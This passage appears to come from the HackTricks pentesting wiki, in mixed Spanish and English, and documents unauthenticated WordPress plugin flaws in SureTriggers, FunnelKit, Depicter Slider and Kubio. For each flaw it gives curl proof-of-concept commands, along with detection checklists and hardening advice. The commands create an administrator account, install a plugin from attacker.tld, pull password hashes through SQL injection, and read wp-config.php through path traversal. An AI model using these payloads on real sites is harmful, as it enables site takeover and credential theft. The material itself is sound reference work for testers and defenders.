curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Why it’s exploitable
- Ruta REST sensible protegida solo por una prueba de identidad de baja entropía (username) o falta de permission_callback
- Sin aplicación de capacidades; la key emitida se acepta como un bypass universal
Detection checklist
- Grep en el código del plugin buscando register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Cualquier ruta que emita tokens/keys basadas en una identidad suministrada por la petición (username/email) sin vincularla a un usuario autenticado o a una capability
- Buscar rutas posteriores que acepten el token/key emitido sin comprobaciones de capability en el servidor
Hardening
- Para cualquier ruta REST privilegiada: requerir permission_callback que haga cumplir current_user_can() para la capability requerida
- No emitir claves de larga duración a partir de identidades suministradas por el cliente; si es necesario, emitir tokens de corta duración vinculados al usuario tras la autenticación y volver a comprobar las capabilities al usarlos
- Validar el contexto de usuario del llamador (wp_set_current_user no es suficiente por sí solo) y rechazar peticiones donde !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces previenen CSRF, no la autorización. Si el código trata un nonce válido como luz verde y luego omite las comprobaciones de capability para operaciones privilegiadas (p. ej., install/activate plugins), atacantes no autenticados pueden cumplir un requisito de nonce débil y alcanzar RCE instalando un plugin backdoored o vulnerable.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (el formato depende del plugin; solo ilustrativo)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Lista de comprobación de detección
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Endurecimiento
- Tratar siempre los nonces solo como tokens CSRF; aplicar verificaciones de capacidad independientemente del estado del nonce
- Requerir current_user_can('install_plugins') y current_user_can('activate_plugins') antes de llegar al código del instalador
- Rechazar acceso no autenticado; evitar exponer acciones AJAX nopriv para flujos privilegiados
SQLi no autenticado vía el parámetro s (search) en las acciones depicter-* (Depicter Slider ≤ 3.6.1)
Múltiples acciones depicter-* consumían el parámetro s (search) y lo concatenaban en consultas SQL sin parametrización.
- Parámetro: s (search)
- Fallo: concatenación directa de cadenas en cláusulas WHERE/LIKE; sin sentencias preparadas/saneamiento
- Impacto: exfiltración de la base de datos (usuarios, hashes), movimiento lateral
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Lista de verificación de detección
- Grep por depicter-* action handlers y el uso directo de $_GET['s'] o $_POST['s'] en SQL
- Revisar consultas personalizadas pasadas a $wpdb->get_results()/query() que concatenen s
Endurecimiento
- Usar siempre $wpdb->prepare() o wpdb placeholders; rechazar metacaracteres inesperados del lado del servidor
- Añadir una allowlist estricta para s y normalizar al charset/longitud esperados
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Aceptar rutas controladas por un atacante en un parámetro de template sin normalización/contención permite leer archivos locales arbitrarios y, en ocasiones, la ejecución de código si se incluyen archivos PHP/log en tiempo de ejecución.
- Parámetro: __kubio-site-edit-iframe-classic-template
- Falla: sin normalización/allowlisting; traversal permitido
- Impacto: divulgación de secretos (wp-config.php), posible RCE en entornos específicos (log poisoning, includable PHP)
PoC – leer wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Lista de verificación de detección
- Cualquier handler que concatene rutas de request en sinks include()/require()/read sin validación de containment con realpath()
- Buscar patrones de traversal (../) que lleguen fuera del directorio de templates previsto
Endurecimiento
- Forzar el uso de plantillas de la lista permitida; resolver con realpath() y exigir str_starts_with(realpath(file), realpath(allowed_base))
- Normalizar la entrada; rechazar secuencias de traversal y rutas absolutas; usar sanitize_file_name() solo para nombres de archivo (no para rutas completas)
Referencias
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.